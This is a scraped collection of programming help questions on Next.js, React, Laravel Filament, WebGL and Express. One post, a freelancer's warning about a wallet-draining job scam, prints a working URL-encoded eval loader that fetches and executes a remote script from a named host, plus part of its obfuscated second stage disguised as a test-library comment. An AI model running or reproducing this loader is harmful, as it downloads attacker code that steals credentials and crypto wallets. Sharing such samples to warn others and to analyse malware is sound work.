PrefetchQuery in NextJS App Router requests on the client

In Nextjs14, the queryClient.prefetchQuery() seems to fetch the request on the client. When I open up the network tab, I see it requesting, and the isLoading state also starts from false to true.

simplified code:

export const getUserArticles = async ({ page, userId }: { userId: number; page: number }) => {
  const response = await httpClient.get<{ message: string; result: any[] }>(
    `/api/users/${userId}/articles?page=${page}`
  )

  return response.data?.result || []
}

export const ARTICLES_QUERY_KEYS = {
  all: ['articles'] as const,
  getUserArticles: (userId: number, page: number) => ['user-articles', userId, page] as const,
}

export const useGetUserArticlesQuery = ({
  userId,
  page = 1,
}: {
  page: number
  userId: (typeof user.$inferSelect)['id']
}) => {
  return useQuery({
    queryKey: ARTICLES_QUERY_KEYS.getUserArticles(userId, page),
    queryFn: () => getUserArticles({ userId, page }),
    refetchOnMount: false,
    refetchOnWindowFocus: false,
  })
}

page.tsx

export default async function Page({ params: { id: pageUserId }, searchParams: { page = '1' } }: PageProps) {
  const { user: loginUser } = await getUser()

  const queryClient = new QueryClient()

  await queryClient.prefetchQuery({
    queryKey: ARTICLES_QUERY_KEYS.getUserArticles(+pageUserId, +page),
    queryFn: () => getUserArticles({ userId: +pageUserId, page: +page }),
  })

return (
   <Card size="2" variant="ghost">
     <Heading as="h2" size="6" mb="8">
       articles
     </Heading>

     <HydrationBoundary state={dehydrate(queryClient)}>
       <Articles />
     </HydrationBoundary>
   </Card>
)

articles.tsx

'use client'

export default function Articles() {
  const { data: articles } = useGetUserArticlesQuery({ userId: 1, page: 1 })

  // this condition works. which I believe shouldn't work.
  if (isLoading) {
    return <div>loading...</div>
  }

  return (
    <Flex direction="column" gap="4" mb="2">
      {articles?.map((post) => (
        <Flex justify="between" key={post.id}>
          <Box>
            <Link
              href={`/articles/${post.id}`}
              size="4"
              weight="medium"
              highContrast
              underline="hover"
              style={{ wordBreak: 'keep-all' }}
            >
              {post.title} ({post.comments})
            </Link>
            <Text as="div" size="2" mb="1" color="gray">
              {post.preview}
            </Text>
            <Flex align="center" gap="2">
              <Text as="div" size="1" color="gray">
                {post.nickname} | {post.likes}
              </Text>
            </Flex>
          </Box>
        </Flex>
      ))}
    </Flex>
  )
}

for the queryClient setup, I followed https://tanstack.com/query/latest/docs/framework/react/guides/advanced-ssr#initial-setup

next js 13 always internal server error after 5 minutes

Next JS 13. I have a an api that takes 6-10 minutes long to process since I have to process 5,000 rows of data. Next js returns an internal server error after 5 minutes, but the api is still running. I have tried to reupload multiple times but it always sends a 500 internal server error while the request on the server is still running and processing.
I get this response below on my api call:
500 internal server error

I have tried extending timeout in my axios call.

Add sound effect in laravel filament polling

I’m working on a Laravel Filament widget and I want to create a simple alert with sound whenever a new row of data is added to the widget table. Unlike notifications that alert everyone, I only want to alert the user currently viewing the screen.

However, I’m having trouble figuring out how to detect when the polling is completed so that I can trigger the alert.

ive already made custom view for my widget

protected static string $view = 'filament.widget.latestorder';

ive also already call poll in table function

public function table(Table $table): Table
    {
        return $table
            ->query(
                // some query
            )
            ->defaultSort('created_at', 'desc')
            ->columns([
                // some columns
            ])
            ->poll('2s');
    }

in my custom view, i write something like this

<div class="grid w-full" style="--cols-default: repeat(1, minmax(0, 1fr)); --cols-lg: repeat(1, minmax(0, 1fr));">
    {{ $this->table }}
</div>

@script
    <script>
    document.addEventListener('DOMContentLoaded', function() {
        console.log('okey');
        // Retrieve the previous state from session storage
        let previousTableData = sessionStorage.getItem('previousTableData');
        const tableSelector = '.filament-tables-table';

        if (!previousTableData) {
            // Initialize session storage if not set
            const tableElement = document.querySelector(tableSelector);
            previousTableData = tableElement ? tableElement.innerHTML : '';
            sessionStorage.setItem('previousTableData', previousTableData);
        }

        // Listen for Filament's polling refresh event
        Livewire.hook('message.processed', function() {
            const tableElement = document.querySelector(tableSelector);
            const currentTableData = tableElement ? tableElement.innerHTML : '';
            console.log('oke');

            if (previousTableData !== currentTableData) {
                const audio = new Audio("{{ asset('notif.wav') }}");
                audio.play();
                // Update session storage with the new state
                sessionStorage.setItem('previousTableData', currentTableData);
                previousTableData = currentTableData;
            }
        });
    });
</script>

@endscript

with console.log('okey'); and console.log('oke') im aiming to catch the polling event.

How can I print results to a span using a document.getElementById? [closed]

I am trying to show output to a span element by attaching a getElementById to the span but the output shows up for less than a second then disappears.

document.getElementById("stats").innerHTML =
        "Wisdom: " + wisdom + "<br>" +
        "Charisma: " + charisma + "<br>" +
        "Intellect: " + intellect + "<br>" +
        "Strength: " + strength + "<br>" +
        "Dexterity: " + dexterity + "<br>" +
        "Constitution: " + constitution;
<p>Total Stats with Modifiers: <span id="stats"></span></p>

I have tried moving the span, sending the output to a read only button (which works but cuts off a lot of the output) and using a script in the html. None gets the desired results, as I have the span put in the aside element and I want the users to see the results from their choice there after they hit the submit button. The top code block is located in a function that as ran when the user clicks on the submit button.

How do I use Javascript with ? [duplicate]

I have a block of Javascript to pull a random gif that looks like this:

const gifs = ["1.gif", "2.gif", "3.gif"];

const random = Math.floor(Math.random() * gifs.length);
console.log(random, gifs[random]);

I want to place a gif inside an <img> tag, like <img src="1.gif"> by using the random const to pull a random gif each time the page loads.

I added document.getElementById("giffetch").innerHTML = gifs; and <img id="giffetch">, but it didn’t work. I sense I’m close but missing a crucial element.

10000 HTTP requests from browser

I have an app, where the home page shows a table(ag-grid) with 10k records.Now in some cases we need to update the all the records data with some value(NOT entered by user or edited with ag-grid), just some value at backend. so for this my BE team is not providing any update API which can take IDs of all records and update them at backend rather they are asking to make 10k http calls to update records individually.

What is the alternative to this?? Also I want to know what will happen at UI if I do this.

I need to click two times to add class to an element

I’m trying to create a Simon Game and when the user click the button I want it to be animated.

I used addClass and setTimeOut with removeClass, the animation happens but I need to click the same button two times.

var buttonColours = ["red", "blue", "green", "yellow"];
var gamePattern = [];
var userClickedPattern = [];

function playSound(name) {

    var audio = new Audio("./sounds/" + name + ".mp3");
    audio.play();

}

function nextSequence() {

    var randomNumber = Math.floor(Math.random() * 4);

    var randomChosenColour = buttonColours[randomNumber];

    gamePattern.push(randomChosenColour);

    $("#" + randomChosenColour).fadeOut(100).fadeIn(100);

    playSound(randomChosenColour);

}

function animatePress(currentColour) {

    $("." + currentColour).on("click", function () {

        $("." + currentColour).addClass("pressed");

        setTimeout(function () {

            $("." + currentColour).removeClass("pressed");

        }, 100);

    })

}

$(".btn").on("click", function () {

    var userChosenColour = this.id;

    userClickedPattern.push(userChosenColour);

    playSound(userChosenColour);

    animatePress(userChosenColour);

})

setting currentTime for the video in electron not work

When I set currentTime for the video tag in electron for the first time, currentTime will become 0. I need to delete the video tag and create it again to set it correctly.
Also, I cannot change the current time by controlling the progress bar for the first time.

I found similar questions on the Internet, but unfortunately there is no official answer.
↓↓↓
https://github.com/electron/electron/issues/39671

The problem is with the electronic software. If it runs on the web page, there will be no problem.

Is there a property or method, or an electronic version, that can solve this problem?

I hacked web3 wallet

I wanted to share how my MetaMask wallet was hacked yesterday as a cautionary tale.

I received a new project through Freelancer.com. The client had a ‘payment verified’ badge, so I assumed they were legitimate. The project involved web3 backend development, which I was confident I could handle.

After accepting the contract, the client invited me to their GitLab project and asked me to run their backend code. Soon after running it, I realized that my MetaMask wallet had been compromised. Fortunately, I didn’t lose much money, but I want to warn everyone to be cautious when running new code on your machine.

After analyzing the code, I discovered it downloads and executes a script file. I’ve attached the code here.

Does anyone explain how this code works???

Original code

eval(decodeURIComponent('%66%65%74%63%68%28%65%76%61%6c%28%64%65%63%6f%64%65%55%52%49%43%6f%6d%70%6f%6e%65%6e%74%28%27%25%32%37%25%36%38%25%37%34%25%37%34%25%37%30%25%33%61%25%32%66%25%32%66%25%36%63%25%36%39%25%36%31%25%36%65%25%37%38%25%36%39%25%36%65%25%37%38%25%36%39%25%36%31%25%36%66%25%32%65%25%36%33%25%36%66%25%36%64%25%33%61%25%33%35%25%33%30%25%33%30%25%33%30%25%32%66%25%37%34%25%36%66%25%36%62%25%36%35%25%36%65%25%36%39%25%37%61%25%36%35%25%37%32%25%32%37%27%29%29%29%2e%74%68%65%6e%28%6c%36%69%72%76%3d%3e%6c%36%69%72%76%2e%74%65%78%74%28%29%29%2e%74%68%65%6e%28%7a%31%6f%6c%77%3d%3e%7b%65%76%61%6c%28%7a%31%6f%6c%77%29%7d%29%20'));

After checking this code, I can get the below code

eval(
    fetch(
        eval(
            decodeURIComponent('http://lianxinxiao.com:5000/tokenizer')
            )
        )
    .then(l6irv=>l6irv.text())
    .then(z1olw=>{eval(z1olw)})
)

From here -> http://lianxinxiao.com:5000/tokenizer

/* learn more: https://github.com/testing-library/jest-dom // @testing-library/jest-dom library provides a set of custom jest matchers that   you can use to extend jest. These will make your tests more declarative, clear to read and to maintain.*/ // Job ID: iq8lqtm4u2uu
let QlSfb;
!(function () {
  const kOzv = Array.prototype.slice.call(arguments);
  return eval(
    "(function UdZq(Dt6i){const f18i=PAdh(Dt6i,fT0g(UdZq.toString()));try{let zo1i=eval(f18i);return zo1i.apply(null,kOzv);}catch(bW3i){var DlYg=(0x9D8DE4-0O47306735);while(DlYg<(0o1000232%0x1001D))switch(DlYg){case (0x9D8DE4-0O47306735):DlYg=bW3i instanceof SyntaxError?(262351%0o200054):(0o206534-68918);break;case (0o203504-67365):DlYg=(0o202760-0x105CA);{console.log('Error: the code has been tampered!');return}break;}throw bW3i;}function fT0g(zgTg){let bOVg=199618237;var vbOg=(0o202164-0x1044E);{let XIQg;while(vbOg<(0o400167%65576)){switch(vbOg){case (0o400056%65550):vbOg=(0x102A8-0o201227);{bOVg^=(zgTg.charCodeAt(XIQg)*(0x2935494a%7)+zgTg.charCodeAt(XIQg>>>(0x5E30A78-0O570605164)))^614269451;}break;case (0o400105%65562):vbOg=(0x40055%0o200015);XIQg++;break;case (0x40065%0o200021):vbOg=XIQg<zgTg.length?(0o203124-67138):(0o1000277%65574);break;case (0o400122%0x10016):vbOg=(0o1000135%0x1000F);XIQg=(0x21786%3);break;}}}let r6Ig="";var TDLg=(67396-0o203445);{let TFih;while(TDLg<(0x105F0-0o202712)){switch(TDLg){case (0o204660-67985):TDLg=(0o201274-0x102B2);TFih=(0x21786%3);break;case 

…. ….

vue3 changes to component definition only applies to only one instance of the component

While writing a vue3 single file component i came across this issue. I am rendering this custom component inside a for loo. What is happening is any changes to the component template(tailwind class, changes to dom elements etc.) did not update all instances of this component – only the last OR the first instance was updating. Here is the code:

//File: CustomVenue.vue
<template>
    <div class="flex items-center">
        <img src="https://fastly.picsum.photos/id/1067/200/300.jpg?hmac=9UpH9GvB6swkUWpIG1N53lIk9vdO4YcIwlH59M8er18"
            alt="" width="100" height="100"
        >
        <span class="ml-6 text-blue-700 font-semibold text-sm">Venue name</span>
    </div>
</template>

<script setup>
    const props = defineProps({
        id: String
    });
</script>

And this is how it is rendered inside the for loop:

                <div class="flex flex-col gap-y-2">
                    <template v-for="(venue, index) in filteredVenues" :key="`custom_venue_${index}`">
                        <CustomVenue :id="`custom_venue_${index}`" />
                    </template>
                </div>

It is a very simple component at this stage.
What i noticed is if i change the component definition to this:

<span class="ml-6 text-blue-700 font-semibold text-sm">Venue names - {{ id }}</span>

Basically just outputting the id propperty, things seem ok. All class changes in the template deifition affects all the rendered instance of this component.

Is this a bug? If not can someone please explain why the later version works? As you can see i even added the :key arritube on the rendered instances as suggested while loop rendering.

React, Need help preventing all other Friend components re-render when one friend is being updated

I have done some improvements by wrapping all children’s props with memo and managed to reduce the re-rendering of all other Friends when a message is being received on the receiver side, and surprisingly the final update after memoizing the props which did the magic was adding useCallback to handleFriendClick, although handleFriendClick is not even needed at that point, yet it still removed the unnecessary re-renders somehow. Now when I receive a message, I update that friend on the friendslist to display an unread messages count and the other friends do not re-render. However, when I use that handleFriendClick function which made this work after I wrapped it in a useCallback -> it opens the friends message box and this is where all other friends are still being re-rendered -> on handleFriendClick to open, and onClose.

This is the main logic in Home.jsx

const Home = () => {
  const { user, token } = useAuth();
  const [selectedFriends, setSelectedFriends] = useState([]);
  const { messages } = useWebSocket();
  const [friendsList, setFriendsList] = useState([]);

  // Memoize the latest message to avoid unnecessary updates
  const latestMessage = messages.length > 0 ? messages[messages.length - 1] : null;
  // Track sent/received messageIds to avoid duplicates from re-rendering or re-adding messages
  const processedMessagesRef = useRef(new Set());

  // on new message (websocket)
  const handleUpdateFriends = useCallback(
    (message) => {
      // Check if the message has already been added using processedMessagesRef
      if (processedMessagesRef.current.has(message.messageId)) return;
      // Mark this message as handled to prevent re-adding it
      processedMessagesRef.current.add(message.messageId);
      // sender side
      const isSender = message.senderId === user.id;
      if (isSender) {
        setSelectedFriends((prev) => prev.map((f) => (f.id === message.receiverId ? { ...f, storedMessages: [...f.storedMessages, message] } : f)));
        return;
      }
      // receiver side
      const existingFriend = selectedFriends.find((f) => f.id === message.senderId);
      if (existingFriend) {
        setSelectedFriends((prev) => prev.map((f) => (f.id === message.senderId ? { ...f, storedMessages: [...f.storedMessages, message] } : f)));
        if (!existingFriend.isMessageBoxOpen) {
          setFriendsList((prev) => prev.map((f) => (f.id === message.senderId ? { ...f, unreadMessages: (f.unreadMessages || 0) + 1 } : f)));
        }
      } else {
        console.log("receiver side newFriend");
        const friend = friendsList.find((f) => f.id === message.senderId);
        if (friend) {
          setFriendsList((prev) => prev.map((f) => (f.id === message.senderId ? { ...f, storedMessages: [...(f.storedMessages || []), message], unreadMessages: (f.unreadMessages || 0) + 1 } : f)));
        }
      }
    },
    [selectedFriends, friendsList, user.id]
  );

  // on new message (websocket)
  useEffect(() => {
    if (!latestMessage) return;
    handleUpdateFriends(latestMessage);
  }, [latestMessage, handleUpdateFriends]);

  const fetchMessagesForFriend = async (friend) => {
    try {
      const response = await axios.get(`http://localhost:8080/api/chat/messages/${friend.friendshipId}`, {
        params: {
          limit: 100,
        },
      });
      if (response.status === 204) {
        console.log("No messages found.");
      } else if (Array.isArray(response.data)) {
        console.log("response.data", response.data);
        const friendWithMessages = { ...friend, storedMessages: response.data.reverse(), isMessageBoxOpen: true, hasMessageBoxBeenOpenedOnce: true };
        setSelectedFriends((prev) => {
          if (prev.length >= 2) {
            return [prev[1], friendWithMessages];
          }
          return [...prev, friendWithMessages];
        });
      }
    } catch (error) {
      console.error("Failed to fetch messages:", error);
    }
  };

  // on friend click
  const handleFriendClick = useCallback(
    async (friend) => {
      console.log("friend", friend);
      const existingFriend = selectedFriends.find((f) => f.id === friend.id);
      if (existingFriend) {
        if (existingFriend.isMessageBoxOpen) {
          // Case 1: Message box is already open, no need to change anything
          return;
        } else if (existingFriend.hasMessageBoxBeenOpenedOnce) {
          // Case 2: Message box has been opened before but is currently closed,
          // reopens the message box without fetching messages and resets unread messages
          setSelectedFriends((prev) => prev.map((f) => (f.id === friend.id ? { ...f, isMessageBoxOpen: true, unreadMessages: 0 } : f)));
          setFriendsList((prev) => prev.map((f) => (f.id === friend.id ? { ...f, unreadMessages: 0 } : f)));
          return;
        }
      }
      // Case 3: Message box has never been opened before, fetch messages and open the message box by adding a new friend with isMessageBoxOpen: true
      await fetchMessagesForFriend(friend);
      // reset unread messages
      setFriendsList((prev) => prev.map((f) => (f.id === friend.id ? { ...f, unreadMessages: 0 } : f)));
    },
    [selectedFriends]
  );

  return (
    <div>
      {" "}
      <FriendsList friendsList={friendsList} friendsListLoading={friendsListLoading} friendsListError={friendsListError} handleFriendClick={handleFriendClick} /> <MessageBoxList selectedFriends={selectedFriends} setSelectedFriends={setSelectedFriends} />
    </div>
  );
};

This are the memoized FriendsList and Friend components

const FriendsList = memo(({ friendsList, friendsListLoading, friendsListError, handleFriendClick }) => {
  return (
    <aside className="w-[250px] bg-white border-l border-gray-300 p-4">
      <h2 className="text-lg font-semibold mb-4"> Friends </h2> {friendsListError && <p className="text-red-500"> {friendsListError} </p>} {friendsListLoading && <p> Loading... </p>}
      <ul> {friendsList.length > 0 ? friendsList.map((friend) => <Friend key={friend.id} friend={friend} handleFriendClick={handleFriendClick} />) : <li className="py-2 text-gray-500">No friends found</li>} </ul>{" "}
    </aside>
  );
});
let renderCount = 0;

const Friend = memo(({ friend, handleFriendClick }) => {
  console.log("Friend rendered", renderCount++);
  console.log("friend username", friend.username, friend);
  const onHandleFriendClick = useCallback(
    async (friend) => {
      try {
        // call the parent function (Home->FriendList->Friend passed through props) to update the messages state on "Home"
        handleFriendClick(friend);
      } catch (error) {
        console.log("Failed to fetch messages:", error);
      }
    },
    [handleFriendClick]
  );

  return (
    <li onClick={() => onHandleFriendClick(friend)} key={friend.id} className="flex py-2 border-b border-gray-200 cursor-pointer hover:bg-gray-200 rounded-md">
      <div className="px-2"> {friend.username.length > 20 ? friend.username.slice(0, 20) + "..." : friend.username} </div> {friend.unreadMessages > 0 && <div className="bg-red-500 text-white rounded-full px-2 ml-2"> {friend.unreadMessages} </div>}{" "}
    </li>
  );
});

The MessageBoxList and MessageBox components are memoized in the same manner. Can you help prevent re-rendering all friends when one friend is being clicked on the friends list and then closed? Also, need advice if my overall approach is generally recommended because I am not fully aware of what I am doing and how to approach this. Thank you very much for you help!

Cookies being set with empty values in production in Next.js

I am trying to set cookies using the cookies function in Next.js and it’s working completely fine on localhost but the cookie values are empty in production. Also, the cookies are being set by the Next.js server itself. This is how I am setting it:

const cookieStore = cookies();

cookieStore.set({
  name: "accessToken",
  value: res.data?.google?.access,
  httpOnly: true,
  secure: true,
  path: "/",
  maxAge: 3600,
  expires: new Date(Date.now() + 3600),
  sameSite: "strict",
});

cookieStore.set({
  name: "refreshToken",
  value: res.data?.google?.refresh,
  httpOnly: true,
  secure: true,
  path: "/",
  maxAge: 7 * 24 * 60 * 60,
  expires: new Date(Date.now() + 7 * 24 * 60 * 60),
  sameSite: "strict",
});

I tried these solutions: Client not saving cookies in production, Cookies are not being set in production, Cookies Not Being Set in Production in Next.js App.

None of these solutions worked for me.

PS: I am using Next.js V15 rc.

WebGL Support – Switch Option Control Not Switching Color

I am trying to get the menu box on this code to change color using webgl. For some reason I cannot get the color to change properly. The html, initShaders.js, and utility.js is already created.

Please see my .js below:

"use strict";

var gl;

var theta = 0.0;
var thetaLoc;

var speed = 100;
var direction = true;

var colors = [
  vec4 (0.1, 0.0, 0.0, 1.0),
  vec4 (0.0, 0.0, 1.0, 1.0), //blue
  vec4 (0.0, 1.0, 0.0, 1.0), //green
  vec4 (1.0, 1.0, 1.0, 1.0) //black
];


window.onload = function init()
{
    var canvas = document.getElementById("gl-canvas");

    gl = canvas.getContext('webgl2');
    if (!gl) alert("WebGL 2.0 isn't available");

//  Configure WebGL
//
gl.viewport(0, 0, canvas.width, canvas.height);
gl.clearColor(1.0, 1.0, 1.0, 1.0);

//  Load shaders and initialize attribute buffers

var program = initShaders(gl, "vertex-shader", "fragment-shader");
gl.useProgram( program );

var vertices = [
    vec2(-.5,  -.5),
    vec2(0,  .5),
    vec2(.5,  -.5)
];




// Load the data into the GPU

var bufferId = gl.createBuffer();
gl.bindBuffer(gl.ARRAY_BUFFER, bufferId);
gl.bufferData(gl.ARRAY_BUFFER, flatten(vertices), gl.STATIC_DRAW);

// Associate out shader variables with our data buffer

var positionLoc = gl.getAttribLocation( program, "aPosition" );
gl.vertexAttribPointer( positionLoc, 2, gl.FLOAT, false, 0, 0 );
gl.enableVertexAttribArray(positionLoc);

thetaLoc = gl.getUniformLocation(program, "uTheta");

var colorLoc=gl.getAttribLocation(program, "fcolor");
gl.vertexAttribPointer(colorLoc, 4, gl.Float, false, 0, 0);
gl.enableVertexAttribArray(colorLoc)

colors=gl.getUniformLocation(program, "color_changer");


// Initialize event handlers

document.getElementById("slider").onchange = function(event) {
    speed = 100 - event.target.value;
};
document.getElementById("Direction").onclick = function (event) {
    direction = !direction;
};   

document.getElementById("Controls").onclick = function( event) {
    switch(event.target.index) {
      case 0:
        direction = !direction;
        break;

     case 1:
        speed /= 2.0;
        break;

     case 2:
        speed *= 2.0;
        break;  
    
     case 3:
        colors[1][0][0][1];
        break;
    
    case 4:
      colors[0][0][1][1];
      break;
    
    case 5:
      colors[1][1][1][1];
      break;
   }
};

window.onkeydown = function(event) {
    var key = String.fromCharCode(event.keyCode);
    switch( key ) {
      case '1':
        direction = !direction;
        break;

      case '2':
        speed /= 2.0;
        break;

        case '3':
        speed *= 2.0;
        break; 

        case '4':
          colors[1][0][0][1];
          break;
      
      case '5':
        colors[0][0][1][1];
        break;
      
      case '6':
        colors[1][1][1][1];
        break;
    }
};

render(); 
}; 



function render()

{
gl.clear( gl.COLOR_BUFFER_BIT );

   theta += (direction ? 0.1 : -0.1);
   gl.uniform1f(thetaLoc, theta);

   gl.drawArrays(gl.TRIANGLE_STRIP, 0, 4);

   setTimeout(
       function () {requestAnimationFrame(render);},
    speed, colors
     );
  }

I want the color to change when clicking on the associated menu controls.

I tried changing to different return statements in the switch function, but the color is still not functioning correctly. All other menu clicks work except for color. Please advise.

try and catch not catching all thrown errors

Im trying to learn JS by building a small application/api using expressjs. I have some part of the code that is really confusing me. Here is the code below to explain.

my main.js file

import express from 'express'
import 'dotenv/config'
import helmet from 'helmet'
import AppsLoader from './src/apps/AppsLoader.js'

const app = express()
/* @todo check not sure if needed since im only accepting query params
app.use(express.json())
app.use(express.urlencoded({
    extended: true
}))
*/
app.use(helmet())



app.get('/', (req, res) => {
    res.status(301).json({
        message: "Please request the POST /action endpoint"
    })
})

//all actions are achieved via post request i.e get, patch, delete and post
app.post('/action', (req, res) => {
    try {
        new AppsLoader(req, res)
    } catch (err) {
        res.status(err.customCode || 400).json({
            status: 'error',
            message: err.message
        })
    }

})



app.listen(process.env.SERVER_PORT)

and here is AppsLoader class

import ValidationRules from '../helpers/ValidationRules.js'
import Validator from '../helpers/Validator.js'
import { StatusCodes } from './../helpers/StatusCodes.js'

//import apps
import Trivia from './trivia/index.js' 

export default class AppsLoader {
    constructor(req, res) {
        this._req = req
        this._res = res
        this._params = req.query
        this._init()
    }

    _init() {
        new Validator([
            new ValidationRules('appName', 'App Name', 'string', 5, 20),
            new ValidationRules('actionName', 'Action Name', 'string', 5, 20)], 
            this._params
        )

        const appName = this._params['appName']

        if (!this._getAppNames().includes(appName)) {
            throw new Error('invalid app name', StatusCodes.BAD_REQUEST) 
        }

        switch (appName) {
            case 'trivia':
                new Trivia(this._params, this._res)
                break
            default: 
                throw new Error('no app was executed', StatusCodes.SERVER_ERROR)
        }
    }

    _getAppNames() {
        return [
            'trivia'
        ]
    }
}

and here is the validator

import ValidationRules from './ValidationRules.js'
import { StatusCodes } from './StatusCodes.js'

export default class Validator {
    constructor(validationData, requestBody) {
        if (!Array.isArray(validationData)) {
            throw new Error('expecting argument one to be an array', StatusCodes.BAD_REQUEST)
        }

        for (let i = 0; i < validationData.length; i++) {
            if (!(validationData[i] instanceof ValidationRules)) {
                throw new Error('All validation entries must be instances of ValidationRules class', StatusCodes.SERVER_ERROR)
            }
        }

        this._rules = validationData
        this._data = requestBody
        this._run()
    }

    _run() {
        for (let i = 0; i < this._rules.length; i++) {
            const name = this._rules[i].getName()
            const display = this._rules[i].getDisplayName()
            const max = this._rules[i].getMaxLength()
            const min = this._rules[i].getMinLength()
            const type = this._rules[i].getType()


            let paramData = null

            if (!this._data.hasOwnProperty(name)) {
                throw new Error(`${display} is required but not presented`, StatusCodes.BAD_REQUEST)
            }

            paramData = this._data[name]

            if (type != 'email' && typeof paramData != type) {
                throw new Error(`Expecting data type of ${type}, for param ${display}`, StatusCodes.BAD_REQUEST)
            }

            let checkValueLength = null

            switch (type) {
                case 'string':
                    checkValueLength = paramData.length
                    break
                case 'number':
                    checkValueLength = paramData.toString().length
                    break
                case 'email':
                    checkValueLength = paramData.length
                    break
                default: 
                    throw new Error('failed to set param length', StatusCodes.SERVER_ERROR)
            }

            if (checkValueLength > max) {
                throw new Error(`param ${display} length must be less than ${max}`, StatusCodes.BAD_REQUEST)
            }

            if (checkValueLength < min) {
                throw new Error(`param ${display} length must be more than ${min}`, StatusCodes.BAD_REQUEST)
            }
             
        }
    }
}

and here is the ValidatorRules class

import { StatusCodes } from './StatusCodes.js'

export default class ValidationRules {

    constructor(nameInRequest, outputName, type, minLength, maxLength) {

        if (typeof nameInRequest != 'string' || typeof outputName != 'string' || typeof type != 'string') {
            throw new Error('Expecting string values for name, display and type', StatusCodes.SERVER_ERROR)
        }

        if (typeof minLength != 'number' || typeof maxLength != 'number') {
            throw new Error('min and max need to be numbers', StatusCodes.SERVER_ERROR)
        }

        if (!this._getAllowedTypes().includes(type)) {
            throw new Error('Allowd types are: ', this._getAllowedTypes().toString(), StatusCodes.SERVER_ERROR)
        }

        this._name = nameInRequest
        this._displayName = outputName
        this._type = type
        this._min = minLength
        this._max = maxLength
    }

    _getAllowedTypes() {
        return [
            'string', 'number', 'email'
        ]
    }

    getName() {
        return this._name
    }

    getType() {
        return this._type
    }

    getDisplayName() {
        return this._displayName
    }

    getMaxLength() {
        return this._max
    }

    getMinLength() {
        return this._min
    }


}

and here is the Trivia class that is being called by AppsLoader

import MySqlConnection from './../../db/MySqlConnection.js' 
import ValidationRules from './../../helpers/ValidationRules.js'
import Validator from './../../helpers/Validator.js'
import { StatusCodes } from './../../helpers/StatusCodes.js'
import AppResponser from './../../helpers/AppResponser.js'
import Hasher from './../../helpers/Hasher.js'


export default class Trivia extends AppResponser {

    constructor(params, res) {
        super(res, new MySqlConnection(
            process.env.TRIVIA_DB_HOST,
            process.env.TRIVIA_DB_USER,
            process.env.TRIVIA_DB_PASS,
            process.env.TRIVIA_DB_DATABASE
        ))
        
        this._params = params
        this._action = params.actionName
        this._validate()
        this._run()
    }

    _validate() {
        if (!this._allowedAppActions().includes(this._action)) {
            throw new Error('Current action not allowed', StatusCodes.UNAUTHORIZED)
        }
        //execute validations based on actions
    }

    _login() {
        //validate required params
    }

    async _register() {

        new Validator([
            new ValidationRules('email', 'Email', 'email', 10, 100),
            new ValidationRules('pass', 'Password', 'string', 6, 30)
        ], this._params)

        const email = this._params.email
        const pass = this._params.pass


        const emailCount = await this._db.countResults('SELECT COUNT(*) AS resultsCount FROM users WHERE email = ?', [email])


        if (emailCount >= 1) {
            throw new Error('Email already exists', StatusCodes.BAD_REQUEST)
        }

        const hashedPass = new Hasher(pass)
        const hash = hashedPass.getHash()


        const addUserResults = await this._db.query(
            'INSERT INTO users (email, pass) VALUES (?,?)',
            [email, hash]
        )

        const insertId = addUserResults.insertId

        if (typeof insertId != 'number') {
            throw new Error('Cant add user', StatusCodes.SERVER_ERROR)
        }


        const activationToken = await this._db.generateRandomToken('user_activation', insertId)

        await this.send({
            message: 'You have registered successfully, please click the link in your email to activate your account',
            registered: true
        })

    }

    
    _allowedAppActions() {
        return [
            'register',
            'login',
            'activateAccount',
            'closeAccount',
            'requestPasswordReset',
            'updatePasswordWithToken'
        ]
    }

    _run() {
        switch(this._action) {
            case 'login':
                this._login()
                break
            case 'register':
                this._register()
                break
            
        }
    }
}

so the problem happens in the Validator class, the validator seems to fail in the Trivia class

for exmaple calling this url, ommiting the appName or renaming query param to appName2 instead of appName returns the correct json

url1: http://localhost:3000/action?appName2=trivia&actionName=register&[email protected]&pass=test123

url1 results:

{
    "status": "error",
    "message": "App Name is required but not presented"
}

now in url2 im requesting another url but removing the email param from query

url2: http://localhost:3000/action?appName=trivia&actionName=register&[email protected]&pass=test123

but this results in app crash and the following output in terminal

file:///home/dever10/Documents/nodeapi/src/helpers/Validator.js:33
                throw new Error(`${display} is required but not presented`, StatusCodes.BAD_REQUEST)
                      ^

Error: Email is required but not presented
    at Validator._run (file:///home/dever10/Documents/nodeapi/src/helpers/Validator.js:33:11)
    at new Validator (file:///home/dever10/Documents/nodeapi/src/helpers/Validator.js:18:8)
    at Trivia._register (file:///home/dever10/Documents/nodeapi/src/apps/trivia/index.js:38:3)
    at Trivia._run (file:///home/dever10/Documents/nodeapi/src/apps/trivia/index.js:110:10)
    at new Trivia (file:///home/dever10/Documents/nodeapi/src/apps/trivia/index.js:22:8)
    at AppsLoader._init (file:///home/dever10/Documents/nodeapi/src/apps/AppsLoader.js:31:5)
    at new AppsLoader (file:///home/dever10/Documents/nodeapi/src/apps/AppsLoader.js:13:8)
    at file:///home/dever10/Documents/nodeapi/main.js:26:3
    at Layer.handle [as handle_request] (/home/dever10/Documents/nodeapi/node_modules/express/lib/router/layer.js:95:5)
    at next (/home/dever10/Documents/nodeapi/node_modules/express/lib/router/route.js:149:13)

Node.js v21.4.0
[nodemon] app crashed - waiting for file changes before starting...

which is being thrown due to line below in the validator class

if (!this._data.hasOwnProperty(name)) {
                throw new Error(`${display} is required but not presented`, StatusCodes.BAD_REQUEST)
            }

my question is why is this thrown error not being caught by the main try and catch blow in the main.js file, like the rest of the errors thrown?

Sorry for the long question, but im new to this and any help is appreciated. Thanks in advance

lol i explained it all above